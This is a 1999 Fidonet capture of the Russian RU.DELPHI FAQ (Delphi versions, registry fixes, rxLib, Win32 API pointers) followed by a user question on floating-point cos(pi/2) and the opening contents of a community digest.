Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 153 of 341 - 136 + 164 From : Alexey_Mahotkin 2:5020/433 23 May 99 22:19:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 927487203 14497 127.0.0.1 (23 May 1999 19:20:03 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 23 May 1999 19:20:03 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 154 of 341 - 137 + 165 From : Alexey_Mahotkin 2:5020/433 23 May 99 22:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 927487220 14502 127.0.0.1 (23 May 1999 19:20:20 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 23 May 1999 19:20:20 GMT Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 155 of 341 - 138 + 166 From : Alexey_Mahotkin 2:5020/433 23 May 99 22:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 927487230 14505 127.0.0.1 (23 May 1999 19:20:30 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 23 May 1999 19:20:30 GMT Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [31]http://www.chami.com/tips/delphi/103096D.html Еще на [32]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [33]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [34]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [35]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [36]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [37]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [38]http://www.blinkinc.com, WWPack32 [39]http://kolos.uni.lodz.pl/warezak, NeoLite [40]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [41]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 156 of 341 From : Alexey Torgashin 2:5020/604.24 28 May 99 00:11:00 To : All Subj : cos(pi/2) ──────────────────────────────────────────────────────────────────────────────── Приветствую, All! Такой, наверное, чайницкий вопрос. Пример: {$N+} var r:real; begin r:=pi/2; writeln(' cos(pi/2) = ',cos(r)) end. выдает, естественно, некоторую погрешность. Если же использовать вместо real - extended, то код borland/turbo паскаля выдает уже твердый ноль, в Delphi 3 же по-прежнему ненулевой результат (порядка 1e-20). Погрешность для extended довольно большая.. В чем тут может быть дело, немного по-разному реализованы cos, pi или что-то еще? Скомпилировал старую паскалевскую программку дельфями, она перестала правильно работать.. Всех благ. Alexey --- GoldED/W32 3.0.1 * Origin: - Ice Frontier - (2:5020/604.24) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 157 of 341 - 139 + 172 From : Nick Slepchenko 2:5064/12 30 May 99 09:38:00 To : All Subj : [01/04] Дайджест по конференции RU.DELPHI (Содержание) ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (редакция от 30-05-99) ======================================================================== ############################################################################ # # # Я не претендую на авторские права тех людей, чьи материалы включены # # в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось лишь # # потому что первоначально этот дайджест составлялся лично для себя. # # Так что претензий по авторским правам не принимаю. Я лишь имею права # # на эти материалы как составитель. # # # # С уважением... -= Hик - [FAQ TeAm] =- # # # # По всем вопросам: 2:5064/12.1@fidonet.org или nikbyte@mail.ru # # Также принимаются различные дополнения и пожелания. # ############################################################################ *** СОДЕРЖАHИЕ *** Часть 1: -------- 1. Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно? 2. Как мне получить путь к запущенной программе из нее самой? 3. Как в Delphi определить, где установлена Windows? 4. Каким образом можно убрать приложение из Task Bar? 5. Каким образом можно убрать приложение из Task List? 6. Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? 7. Как можно сделать форму прозрачной? 8. Как сделать произвольную 